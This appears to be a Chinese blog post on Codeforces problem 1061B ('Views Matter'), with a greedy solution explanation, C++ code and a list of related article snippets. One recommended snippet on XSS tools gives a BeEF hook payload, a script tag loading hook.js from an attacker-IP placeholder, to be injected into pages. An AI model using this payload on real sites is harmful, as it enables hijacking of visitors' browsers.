【贪心】【CF1061B】 Views Matter
Description
给定一个只有一行的,由 \(n\) 组小正方体组成的方块,每组是由 \(a_i\) 块小正方体竖直堆叠起来的,求最多能抽掉多少块使得它的左视图和俯视图不变。方块不会掉落
Input
第一行是两个整数 \(n~,~m\),代表方块组数和另一个没什么卵用的参数。
下面一行 \(n\) 个数字,代表 \(a_i\)
Output
一行一个数字代表答案
Hint
\(1~\leq~n~\leq~10^5,1~\leq~a_i~\leq~10^9\)
Solution
考虑因为只有一行同时要求俯视图不变,所以等价于要求每组上都必须留至少一个小正方体。再考虑左视图,相当于每个高度上都至少有一个。于是我们发现原来每组间的顺序是无所谓的,于是我们将他们按照高度排序。
现在我们考虑相邻两个,我们设右侧的一组 \(B\) 较高,左侧的一组 \(A\) 较低,则显然需要用 \(B\) 和它右侧的正方体组填充满 \(A\) 和 \(B\) 之间高度差的一块。在这一些方块中我们选哪一组进行填充对左视图是没有影响的,但是 \(B\) 和 \(B\) 右侧如果有没有被选择过被留下的组,那么它必须在最下面一行被选择从而保证这一组的俯视图不变。如果我们选择这样没被选择的组进行填充,那么它们就不用在最下面一行被选择了,相当于节省了一个方块。所以我们维护扫描到当前位置一共还有多少组没有被选择过,优先选择这一些即可。
Code
#include <cstdio>
#include <algorithm>
#ifdef ONLINE_JUDGE
#define freopen(a, b, c)
#endif
#define rg register
#define ci const int
#define cl const long long
typedef long long int ll;
namespace IPT {
const int L = 1000000;
char buf[L], *front=buf, *end=buf;
char GetChar() {
if (front == end) {
end = buf + fread(front = buf, 1, L, stdin);
if (front == end) return -1;
}
return *(front++);
}
}
template <typename T>
inline void qr(T &x) {
rg char ch = IPT::GetChar(), lst = ' ';
while ((ch > '9') || (ch < '0')) lst = ch, ch=IPT::GetChar();
while ((ch >= '0') && (ch <= '9')) x = (x << 1) + (x << 3) + (ch ^ 48), ch = IPT::GetChar();
if (lst == '-') x = -x;
}
template <typename T>
inline void ReadDb(T &x) {
rg char ch = IPT::GetChar(), lst = ' ';
while ((ch > '9') || (ch < '0')) lst = ch, ch = IPT::GetChar();
while ((ch >= '0') && (ch <= '9')) x = x * 10 + (ch ^ 48), ch = IPT::GetChar();
if (ch == '.') {
ch = IPT::GetChar();
double base = 1;
while ((ch >= '0') && (ch <= '9')) x += (ch ^ 48) * ((base *= 0.1)), ch = IPT::GetChar();
}
if (lst == '-') x = -x;
}
namespace OPT {
char buf[120];
}
template <typename T>
inline void qw(T x, const char aft, const bool pt) {
if (x < 0) {x = -x, putchar('-');}
rg int top=0;
do {OPT::buf[++top] = x % 10 + '0';} while (x /= 10);
while (top) putchar(OPT::buf[top--]);
if (pt) putchar(aft);
}
const int maxn = 100010;
int n, m;
ll ans;
int MU[maxn];
bool vis[maxn];
int main() {
freopen("1.in", "r", stdin);
qr(n); qr(m);
for (rg int i = 1; i <= n; ++i) {
qr(MU[i]);
ans += MU[i];
}
std::sort(MU + 1, MU + 1 + n);
int pre = 0;
for (rg int i = n; i; --i) {
++pre;
pre -= MU[i] - MU[i - 1];
ans -= MU[i] - MU[i - 1];
pre = std::max(0, pre);
}
qw(ans - pre, '\n', true);
return 0;
}
【贪心】【CF1061B】 Views Matter的更多相关文章
- CF1061B Views Matter
思路: 贪心. 实现: #include <bits/stdc++.h> using namespace std; ]; int main() { int n, m; while (cin ...
- CodeForces-1061B Views Matter
题目链接 https://vjudge.net/problem/CodeForces-1061B 题面 Description You came to the exhibition and one e ...
- Codeforces Round #523 (Div. 2) B Views Matter
传送门 https://www.cnblogs.com/violet-acmer/p/10005351.html 这是一道贪心题么???? 题意: 某展览馆展览一个物品,此物品有n堆,第 i 堆有a[ ...
- B. Views Matter
链接 [http://codeforces.com/contest/1061/problem/B] 题意 问你最多去掉多少块使得从上和右看,投影图不变 分析 注意细节,尤其第一列 代码 #includ ...
- Codeforces Round #523 (Div. 2)
Codeforces Round #523 (Div. 2) 题目一览表 来源 考察知识点 完成时间 A Coins cf 贪心(签到题) 2018.11.23 B Views Matter cf 思 ...
- Codeforces Round #523 (Div. 2) Solution
A. Coins Water. #include <bits/stdc++.h> using namespace std; int n, s; int main() { while (sc ...
- CF 115B Lawnmower(贪心)
题目链接: 传送门 Lawnmower time limit per test:2 second memory limit per test:256 megabytes Description ...
- What is the difference between Views and Materialized Views in Oracle?
aterialized views are disk based and update periodically base upon the query definition. Views are v ...
- Codeforces Beta Round #96 (Div. 1) D. Constants in the language of Shakespeare 贪心
D. Constants in the language of Shakespeare Time Limit: 1 Sec Memory Limit: 256 MB 题目连接 http://codef ...
随机推荐
- XSS工具
1.BEEF KALI中启动BEEFXSS PAYLOAD为 <script src=”http://攻击机IP:3000/hook.js”></script> 将攻击代码插入 ...
- 1、Ansible安装配置
ansible介绍: Ansible是一款基于Python开发的自动化运维工具,主要是实现批量系统配置.批量程序部署.批量运行命令.批量执行任务等等诸多功能.Ansible是一款灵活的开源工具,能够很 ...
- linux下自己安装软件做成命令
安装nodejs,从官网下下来的是一个压缩包,解压下里面有可执行文件.教程上用ln -s [可执行文件的绝对路径] [/usr/local/bin/]建了一个软连接,这样就能直接无视路径,用命令行调用 ...
- python3使用csv包,读写csv文件
python操作csv,现在很多都用pandas包了,不过python还是有一个原始的包可以直接操作csv,或者excel的,下面举个例子说明csv读写csv文件的方法: import os impo ...
- 王者荣耀交流协会互评Beta版本及答复功能改进建议、Bug修正
互评Beta版本 欢迎来怼团队博客园安卓APP Thunder团队爱阅app 探路者团队贪吃蛇 Hello World!团队项目空天猎 答复功能改进建议 答复其他各组给出的“就现有技术和工作量,不改变 ...
- Week2-作业1 《构建之法》1、2、16章观后感
这几天阅读了<构建之法>中的几章,受益匪浅,刷新了很多我对软件工程的认知.这本书让我很惊喜,阅读起来不像其他书一样枯燥,有很多人物的设计,以及对话的形式,非常有趣. 第一章.概述 读完第一 ...
- week3c:个人博客作业
程序测试: 一个基本的测试. 在Visual Studio 2013 中使用C++单元测试 操作如下: 这是我学到的过程. 有复杂程序的测试.以后有时间再弄.
- CodeM Qualifying Match Q1
问题描述: 具体地说,就是在第二段音频中找到一个长度和第一段音频相等且是连续的子序列,使得它们的 difference 最小.两段等长音频的 difference 定义为: difference = ...
- 消息队列第二篇:MessageQueue实战(课程订单)
上一篇:消息队列介绍 本篇一开始就上代码,主要演练MessageQueue的实际应用.用户提交订单(消息发送),系统将订单发送到订单队列(Order Queue)中:订单管理系统(消息接收)端,监听消 ...
- PAT 1034 有理数四则运算
https://pintia.cn/problem-sets/994805260223102976/problems/994805287624491008 本题要求编写程序,计算2个有理数的和.差.积 ...